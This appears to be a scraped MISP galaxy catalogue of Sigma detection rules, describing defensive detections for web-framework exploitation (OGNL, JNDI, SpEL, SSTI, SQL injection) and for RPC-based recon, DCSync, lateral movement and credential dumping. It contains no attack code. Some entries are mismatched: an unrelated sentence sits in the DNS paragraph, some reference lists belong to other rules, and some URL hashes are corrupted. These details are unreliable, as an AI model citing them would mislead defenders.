The DNS Z flag is a bit within the DNS protocol header that, per the IETF design, is meant to be used reserved (unused). Although recently it has been used in DNSSEC, the value being set to anything other than 0 should be rare. Otherwise, if it is set to non-0 and DNSSEC is being used, then excluding the legitimate domains is low effort and high reward. Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one-off or the possibility of larger sensitive file gathering. This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'

The tag is: `misp-galaxy:sigma-rules="Suspicious DNS Z Flag Bit Set"`

**View relationships graph**

Suspicious DNS Z Flag Bit Set has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571"` with estimative-language:likelihood-probability="almost-certain"

**Table 8240. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/neu5ron/status/1346245602502443009">https://twitter.com/neu5ron/status/1346245602502443009</a></td>
</tr>
<tr>
<td><a href="https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma">https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma</a></td>
</tr>
</tbody>
</table>

**Django Framework Exceptions**

Detects suspicious Django web application framework exceptions that could indicate exploitation attempts

The tag is: `misp-galaxy:sigma-rules="Django Framework Exceptions"`

**View relationships graph**
Django Framework Exceptions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 8241. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.djangoproject.com/en/1.11/ref/exceptions/">https://docs.djangoproject.com/en/1.11/ref/exceptions/</a></td>
</tr>
<tr>
<td><a href="https://docs.djangoproject.com/en/1.11/topics/logging/#django-security">https://docs.djangoproject.com/en/1.11/topics/logging/#django-security</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml</a></td>
</tr>
</tbody>
</table>

Potential RCE Exploitation Attempt In NodeJS

Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability.

The tag is: misp-galaxy:sigma-rules="Potential RCE Exploitation Attempt In NodeJS"

View relationships graph

Potential RCE Exploitation Attempt In NodeJS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 8242. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/nodejs/nodejs_rce_exploitation_attempt.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/nodejs/nodejs_rce_exploitation_attempt.yml</a></td>
</tr>
</tbody>
</table>

Spring Framework Exceptions

Detects suspicious Spring framework exceptions that could indicate exploitation attempts

The tag is: misp-galaxy:sigma-rules="Spring Framework Exceptions"

View relationships graph

Spring Framework Exceptions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 8243. Table References
**Potential SpEL Injection In Spring Framework**

Detects potential SpEL Injection exploitation, which may lead to RCE.

The tag is: `misp-galaxy:.sigma-rules="Potential SpEL Injection In Spring Framework"`

**View relationships graph**

Potential SpEL Injection In Spring Framework has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 8244. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection">https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/spring_spel_injection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/spring_spel_injection.yml</a></td>
</tr>
</tbody>
</table>

**Python SQL Exceptions**

Generic rule for SQL exceptions in Python according to PEP 249

The tag is: `misp-galaxy: sigma-rules="Python SQL Exceptions"`

**View relationships graph**

Python SQL Exceptions has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 8245. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.python.org/dev/peps/pep-0249/#exceptions">https://www.python.org/dev/peps/pep-0249/#exceptions</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml</a></td>
</tr>
</tbody>
</table>
Potential OGNL Injection Exploitation In JVM Based Application

Detests potential OGNL Injection exploitation, which may lead to RCE. OGNL is an expression language that is supported in many JVM based systems. OGNL Injection is the reason for some high profile RCE’s such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)

The tag is: misp-galaxy:sigma-rules="Potential OGNL Injection Exploitation In JVM Based Application"

View relationships graph

Potential OGNL Injection Exploitation In JVM Based Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 8246. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_ognl_injection_exploitation_attempt.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_ognl_injection_exploitation_attempt.yml</a></td>
</tr>
</tbody>
</table>

Potential Local File Read Vulnerability In JVM Based Application

Detests potential local file read vulnerability in JVM based apps. If the exceptions are caused due to user input and contain path traversal payloads then it’s a red flag.

The tag is: misp-galaxy:sigma-rules="Potential Local File Read Vulnerability In JVM Based Application"

View relationships graph

Potential Local File Read Vulnerability In JVM Based Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 8247. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_local_file_read.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_local_file_read.yml</a></td>
</tr>
</tbody>
</table>
Process Execution Error In JVM Based Application

Detects process execution related exceptions in JVM based apps, often relates to RCE

The tag is: `misp-galaxy:sigma-rules="Process Execution Error In JVM Based Application"

View relationships graph

Process Execution Error In JVM Based Application has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

Table 8248. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_rce_exploitation_attemp_t.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_rce_exploitation_attemp_t.yml</a></td>
</tr>
</tbody>
</table>

Potential XXE Exploitation Attempt In JVM Based Application

Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.

The tag is: `misp-galaxy:sigma-rules="Potential XXE Exploitation Attempt In JVM Based Application"

View relationships graph

Potential XXE Exploitation Attempt In JVM Based Application has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

Table 8249. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://rules.sonarsource.com/java/RSPEC-2755">https://rules.sonarsource.com/java/RSPEC-2755</a></td>
</tr>
</tbody>
</table>
Potential JNDI Injection Exploitation In JVM Based Application

Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.

The tag is: misp-galaxy:sigma-rules="Potential JNDI Injection Exploitation In JVM Based Application"

View relationships graph

Potential JNDI Injection Exploitation In JVM Based Application has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 8250. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_jndi_injection_exploitation_attempt.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_jndi_injection_exploitation_attempt.yml</a></td>
</tr>
</tbody>
</table>

Suspicious SQL Error Messages

Detects SQL error messages that indicate probing for an injection attack

The tag is: misp-galaxy:sigma-rules="Suspicious SQL Error Messages"

View relationships graph

Suspicious SQL Error Messages has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 8251. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sqlinjection.net/errors">http://www.sqlinjection.net/errors</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml</a></td>
</tr>
</tbody>
</table>

Ruby on Rails Framework Exceptions

Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts

The tag is: misp-galaxy:sigma-rules="Ruby on Rails Framework Exceptions"
Ruby on Rails Framework Exceptions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 8252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://guides.rubyonrails.org/action_controller_overview.html">http://guides.rubyonrails.org/action_controller_overview.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb">https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb</a></td>
</tr>
<tr>
<td><a href="http://edgeguides.rubyonrails.org/security.html">http://edgeguides.rubyonrails.org/security.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml</a></td>
</tr>
</tbody>
</table>

**SharpHound Recon Account Discovery**

Detects remote RPC calls used by SharpHound to map remote connections and local group membership.

The tag is: misp-galaxy:sigma-rules="SharpHound Recon Account Discovery"

Table 8253. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3</a></td>
</tr>
<tr>
<td><a href="https://github.com/zeronetworks/rpcfirewall">https://github.com/zeronetworks/rpcfirewall</a></td>
</tr>
<tr>
<td><a href="https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684f2f9b48c5f0b3c28097f8a3/documents/MS-WKST.md">https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684f2f9b48c5f0b3c28097f8a3/documents/MS-WKST.md</a></td>
</tr>
<tr>
<td><a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml</a></td>
</tr>
</tbody>
</table>
Remote Registry Recon

Dectects remote RPC calls to collect information

The tag is: misp-galaxy:sigma-rules="Remote Registry Recon"

Table 8254. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78</a></td>
</tr>
<tr>
<td><a href="https://github.com/zeronetworks/rpcfirewall">https://github.com/zeronetworks/rpcfirewall</a></td>
</tr>
<tr>
<td><a href="https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fct2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md">https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fct2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml</a></td>
</tr>
</tbody>
</table>

Remote Schedule Task Recon via ITaskSchedulerService

Dectects remote RPC calls to read information about scheduled tasks

The tag is: misp-galaxy:sigma-rules="Remote Schedule Task Recon via ITaskSchedulerService"

Table 8255. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fct2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md">https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fct2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/zeronetworks/rpcfirewall">https://github.com/zeronetworks/rpcfirewall</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931</a></td>
</tr>
<tr>
<td><a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml</a></td>
</tr>
</tbody>
</table>

Remote Server Service Abuse for Lateral Movement

Dectects remote RPC calls to possibly abuse remote encryption service via MS-EFSR

The tag is: misp-galaxy:sigma-rules="Remote Server Service Abuse for Lateral Movement"

View relationships graph
Remote Server Service Abuse for Lateral Movement has relationships with:


**Table 8256. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9</a></td>
</tr>
<tr>
<td><a href="https://github.com/zeronetworks/rpcfirewall">https://github.com/zeronetworks/rpcfirewall</a></td>
</tr>
<tr>
<td><a href="https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcd9b48c5f0b3c28097f8a3/documents/MS-SCMR.md">https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcd9b48c5f0b3c28097f8a3/documents/MS-SCMR.md</a></td>
</tr>
<tr>
<td><a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml</a></td>
</tr>
</tbody>
</table>

**Remote Schedule Task Lateral Movement via ATSvc**

Detects remote RPC calls to create or execute a scheduled task via ATSvc

The tag is: *misp-galaxy:sigma-rules="Remote Schedule Task Lateral Movement via ATSvc"*

**View relationships graph**

Remote Schedule Task Lateral Movement via ATSvc has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

**Table 8257. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcd9b48c5f0b3c28097f8a3/documents/MS-TSCH.md">https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcd9b48c5f0b3c28097f8a3/documents/MS-TSCH.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/zeronetworks/rpcfirewall">https://github.com/zeronetworks/rpcfirewall</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931</a></td>
</tr>
<tr>
<td><a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml</a></td>
</tr>
</tbody>
</table>
Possible DCSync Attack

Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.

The tag is: `misp-galaxy:sigma-rules="Possible DCSync Attack"`

View relationships graph

Possible DCSync Attack has relationships with:


Remote Event Log Recon

Detects remote RPC calls to get event log information via EVEN or EVEN6

The tag is: `misp-galaxy:sigma-rules="Remote Event Log Recon"`

Remote Schedule Task Lateral Movement via ITaskSchedulerService

Detects remote RPC calls to create or execute a scheduled task

The tag is: `misp-galaxy:sigma-rules="Remote Schedule Task Lateral Movement via ITaskSchedulerService"`
Remote Schedule Task Lateral Movement via ITaskSchedulerService has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Remote DCOM/WMI Lateral Movement

Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.

The tag is: misp-galaxy:sigma-rules="Remote DCOM/WMI Lateral Movement"
Remote Schedule Task Lateral Movement via SASec

Detects remote RPC calls to create or execute a scheduled task via SASec

The tag is: misp-galaxy:sigma-rules="Remote Schedule Task Lateral Movement via SASec"

View relationships graph

Remote Schedule Task Lateral Movement via SASec has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 8262. Table References

Links

https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md

https://github.com/zeronetworks/rpcfirewall

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931

https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/

https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml

Remote Printing Abuse for Lateral Movement

Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR

The tag is: misp-galaxy:sigma-rules="Remote Printing Abuse for Lateral Movement"

Table 8263. Table References

Links

https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1

https://github.com/zeronetworks/rpcfirewall

https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md
SharpHound Recon Sessions

Detects remote RPC calls used by SharpHound to map remote connections and local group membership.

The tag is: `misp-galaxy:sigma-rules="SharpHound Recon Sessions"`

View relationships graph

SharpHound Recon Sessions has relationships with:


Table 8264. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183</a></td>
</tr>
<tr>
<td><a href="https://github.com/zeronetworks/rpcfirewall">https://github.com/zeronetworks/rpcfirewall</a></td>
</tr>
<tr>
<td><a href="https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md">https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md</a></td>
</tr>
<tr>
<td><a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml</a></td>
</tr>
</tbody>
</table>

Remote Encrypting File System Abuse

Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR

The tag is: `misp-galaxy:sigma-rules="Remote Encrypting File System Abuse"`

Table 8265. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/</a></td>
</tr>
<tr>
<td><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942</a></td>
</tr>
<tr>
<td><a href="https://github.com/zeronetworks/rpcfirewall">https://github.com/zeronetworks/rpcfirewall</a></td>
</tr>
</tbody>
</table>
Recon Activity via SASec

Detects remote RPC calls to read information about scheduled tasks via SASec

The tag is: **misp-galaxy:sigma-rules="Recon Activity via SASec"**

Table 8266. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md">https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml</a></td>
</tr>
<tr>
<td><a href="https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md">https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78</a></td>
</tr>
<tr>
<td><a href="https://github.com/zeronetworks/rpcfirewall">https://github.com/zeronetworks/rpcfirewall</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931</a></td>
</tr>
<tr>
<td><a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml</a></td>
</tr>
</tbody>
</table>

Remote Registry Lateral Movement

Detects remote RPC calls to modify the registry and possible execute code

The tag is: **misp-galaxy:sigma-rules="Remote Registry Lateral Movement"**

View relationships graph

Remote Registry Lateral Movement has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8267. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/">https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78</a></td>
</tr>
<tr>
<td><a href="https://github.com/zeronetworks/rpcfirewall">https://github.com/zeronetworks/rpcfirewall</a></td>
</tr>
<tr>
<td><a href="https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md">https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md</a></td>
</tr>
</tbody>
</table>
Remote Server Service Abuse

Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS

The tag is: *misp-galaxy: sigma-rules=* "Remote Server Service Abuse"

Table 8268. Table References

Links

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/acccf23b0-0f57-441c-9185-43041f1b0ee9

https://github.com/zeronetworks/rpcfirewall

https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684f2fc9b48c5f0b3c28097f8a3/documents/MS-SRVS.md

https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/

https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml

Remote Schedule Task Recon via AtScv

Detects remote RPC calls to read information about scheduled tasks via AtScv

The tag is: *misp-galaxy: sigma-rules=* "Remote Schedule Task Recon via AtScv"

Table 8269. Table References

Links

https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684f2fc9b48c5f0b3c28097f8a3/documents/MS-TSCH.md

https://github.com/zeronetworks/rpcfirewall

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931

https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/

https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml

Potential Server Side Template Injection In Velocity

Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.

The tag is: *misp-galaxy: sigma-rules=* "Potential Server Side Template Injection In Velocity"
Potential Server Side Template Injection In Velocity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 8270. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://antgarsil.github.io/posts/velocity/">https://antgarsil.github.io/posts/velocity/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/application/velocity/velocity_ssti_injection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/application/velocity/velocity_ssti_injection.yml</a></td>
</tr>
</tbody>
</table>

**Credential Dumping Attempt Via Svchost**

Detects when a process tries to access the memory of svchost to potentially dump credentials.

The tag is: misp-galaxy:sigma-rules="Credential Dumping Attempt Via Svchost"

Table 8271. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
